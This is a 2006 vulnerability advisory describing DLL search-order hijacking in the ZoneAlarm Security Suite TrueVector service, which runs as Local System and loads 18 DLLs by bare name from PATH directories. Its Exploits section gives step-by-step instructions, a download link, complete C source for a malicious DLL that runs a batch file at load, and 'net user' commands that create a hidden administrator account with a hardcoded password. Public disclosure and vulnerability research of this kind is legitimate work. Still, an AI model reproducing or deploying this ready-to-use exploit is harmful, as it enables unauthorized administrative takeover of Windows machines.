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03.08.06
Summary:
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite
build 6.1.744.000 (http://www.zonelabs.com/)
Details:
During Windows startup the TrueVector service (vsmon.exe - an
integral piece of most Zone Labs products) is set to startup
automatically. The TrueVector service runs under the context of the
Local System account. During its startup process it attempts to load
several DLLs (that are listed below).
- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll
It appears that instead of using the full path to the DLL during the
load process only the name of the DLL is used. This causes several
instances of Windows PATH trolling (where Windows tries to locate the
DLL in the directories listed in its PATH environment variable on
behalf of the vsmon.exe process). This PATH trolling is what makes
the vsmon.exe process vulnerable to several privilege escalation
techniques. Below is the output from a Filemon capture of the
TrueVector service startup process (edited for brevity). Please note
that I have ActiveState's ActivePerl installed so C:\Perl\bin is
included in my PATH.
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSUTIL_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\vsmon_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\VSRULEDB_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\av_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlquarantine_Loc0409.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Loc0409_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Oem8701.dll NOT FOUND
vsmon.exe QUERY INFORMATION C:\Perl\bin\zlsre_Loc0409.dll NOT FOUND
Exploitation Requirements:
First of all, you will need to have a directory that is writeable to
a lower level user, that is included in the Windows PATH environment
variable. As you saw above, I had ActiveState's ActivePerl installed
and it worked just fine.
Secondly, verify that the path you have chosen is definitely
writeable to a lower level user. On Windows 2000 operating systems
the default permissions for the root of the partition where the
operating system is installed is set as Everyone/Full Control. So, by
default, C:\Perl\bin is set to Everyone/Full Control. On Windows 2000
operating systems a guest account can be used during the exploitation
process. On Windows XP, the C:\Perl\bin folder has special
permissions set (by default) for the local Users group that allows
the creation and modification of new files and folders. Perfect, that
is all that is needed. On Windows XP, an account in the local Users
group can be used during the exploitation process.
Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly
earlier versions
Patches/Workarounds:
The vendor was notified several times but there was no response. The
initial notification was sent on 12.20.05. Two follow-up
notifications were sent afterward.
Exploits:
1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile your own using
the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In
this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dll and magic.bat files to your chosen directory
listed in the Windows PATH environment variable.
5. Restart the machine.
6. When the TrueVector service starts up it will create a new user account named
Magic with a password of M@g1c$$ and add it to the local Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include <windows.h>
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======
Discovered by Reed Arvin
reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)
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